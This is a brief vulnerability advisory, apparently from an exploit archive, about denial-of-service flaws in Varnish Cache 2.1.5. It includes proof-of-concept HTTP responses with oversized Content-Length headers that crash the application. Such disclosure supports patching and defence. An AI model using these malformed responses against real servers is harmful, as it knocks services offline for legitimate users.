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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/58314/info

Varnish Cache is prone to multiple denial-of-service vulnerabilities.

An attacker can exploit these issues to crash the application, effectively denying service to legitimate users.

Varnish Cache 2.1.5 is vulnerable; other versions may also be affected. 

The following example data is available:

HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: 99999999999999999

HTTP/1.1 200 OK
Content-Length: 2147483647